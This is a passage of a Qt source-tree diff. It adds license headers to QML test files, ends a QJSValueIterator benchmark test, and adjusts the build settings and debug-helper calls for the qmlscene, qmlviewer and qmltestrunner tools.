+void tst_QJSValueIterator::iterateArrayAndRemoveAllElements()
+{
+ QJSEngine engine;
+ QJSValue array = engine.newArray();
+ for (int i = 0; i < 20000; ++i)
+ array.setProperty(i, i);
+ QBENCHMARK {
+ QJSValueIterator it(array);
+ while (it.hasNext()) {
+ it.next();
+ it.remove();
+ }
+ }
+}
+#endif
+
+QTEST_MAIN(tst_QJSValueIterator)
+#include "tst_qjsvalueiterator.moc"
diff --git a/tests/systemtests/declarative/qsgimage/ImageNG.qml b/tests/systemtests/declarative/qsgimage/ImageNG.qml
index 4a10910fcf..c95026342b 100644
--- a/tests/systemtests/declarative/qsgimage/ImageNG.qml
+++ b/tests/systemtests/declarative/qsgimage/ImageNG.qml
@@ -1,3 +1,44 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
import QtQuick 2.0
Image {
diff --git a/tests/systemtests/declarative/qsgimage/img-align.qml b/tests/systemtests/declarative/qsgimage/img-align.qml
index 55ee112ccd..4ca62da044 100644
--- a/tests/systemtests/declarative/qsgimage/img-align.qml
+++ b/tests/systemtests/declarative/qsgimage/img-align.qml
@@ -1,3 +1,44 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
import QtQuick 2.0
Rectangle {
diff --git a/tools/qmlscene/main.cpp b/tools/qmlscene/main.cpp
index 95b1059943..0139f591a6 100644
--- a/tools/qmlscene/main.cpp
+++ b/tools/qmlscene/main.cpp
@@ -56,7 +56,6 @@
#include <QtWidgets/QGraphicsView>
#include <QtDeclarative/qdeclarativecontext.h>
-#include <private/qdeclarativedebughelper_p.h>
// ### This should be private API
#include <qsgitem.h>
@@ -321,8 +320,8 @@ static void checkAndAdaptVersion(const QUrl &url)
return;
}
- QRegExp quick1("import +QtQuick +1\\.");
- QRegExp qt47("import +Qt +4\\.7");
+ QRegExp quick1("^\\s*import +QtQuick +1\\.");
+ QRegExp qt47("^\\s*import +Qt +4\\.7");
QString envToWrite;
QString compat;
@@ -418,7 +417,6 @@ int main(int argc, char ** argv)
Options options;
- QDeclarativeDebugHelper::enableDebugging();
QStringList imports;
for (int i = 1; i < argc; ++i) {
if (*argv[i] != '-' && QFileInfo(argv[i]).exists())
diff --git a/tools/qmlscene/qmlscene.pro b/tools/qmlscene/qmlscene.pro
index 8e252e589f..0e8ca9b6c9 100644
--- a/tools/qmlscene/qmlscene.pro
+++ b/tools/qmlscene/qmlscene.pro
@@ -1,6 +1,6 @@
TEMPLATE = app
TARGET = qmlscene
-DESTDIR= ../../bin
+DESTDIR= $$QT.declarative.bins
QT += declarative declarative-private qtquick1
@@ -11,7 +11,7 @@ macx: CONFIG -= app_bundle
SOURCES += main.cpp
-CONFIG += console
+CONFIG += console declarative_debug
symbian {
TARGET.EPOCHEAPSIZE = 0x20000 0x5000000
diff --git a/tools/qmltestrunner/qmltestrunner.pro b/tools/qmltestrunner/qmltestrunner.pro
index c431aafcb5..e0dd3d5b5a 100644
--- a/tools/qmltestrunner/qmltestrunner.pro
+++ b/tools/qmltestrunner/qmltestrunner.pro
@@ -6,7 +6,9 @@ SOURCES += main.cpp
QT += declarative qmltest
-DEFINES += QUICK_TEST_SOURCE_DIR=\"\\\"$$OUT_PWD\\\"\"
+macx: CONFIG -= app_bundle
+
+#DEFINES += QUICK_TEST_SOURCE_DIR=\"\\\"$$OUT_PWD\\\"\"
target.path = $$[QT_INSTALL_BINS]
-INSTALLS += target
+INSTALLS += target \ No newline at end of file
diff --git a/tools/qmlviewer/main.cpp b/tools/qmlviewer/main.cpp
index bf99fa5630..cf33c4e365 100644
--- a/tools/qmlviewer/main.cpp
+++ b/tools/qmlviewer/main.cpp
@@ -52,7 +52,6 @@
#include <QAtomicInt>
#include <QLibraryInfo>
#include "qdeclarativetester.h"
-#include <private/qdeclarativedebughelper_p.h>
QT_USE_NAMESPACE
@@ -539,8 +538,6 @@ int main(int argc, char ** argv)
QApplication::setGraphicsSystem(QLatin1String("raster"));
#endif
- QDeclarativeDebugHelper::enableDebugging();
-
Application app(argc, argv);
app.setApplicationName(QLatin1String("QtQmlViewer"));
app.setOrganizationName(QLatin1String("Nokia"));
diff --git a/tools/qmlviewer/qmlviewer.pro b/tools/qmlviewer/qmlviewer.pro
index 8dc5808ad5..1f7a6024f4 100644
--- a/tools/qmlviewer/qmlviewer.pro
+++ b/tools/qmlviewer/qmlviewer.pro
@@ -1,7 +1,7 @@
TEMPLATE = app
-CONFIG += qt uic
-DESTDIR = ../../bin
-QT += declarative qtquick1 qtquick1-private widgets widgets-private
+CONFIG += qt uic declarative_debug
+DESTDIR = $$QT.declarative.bins
+QT += declarative qtquick1 qtquick1-private widgets widgets-private
include(qml.pri)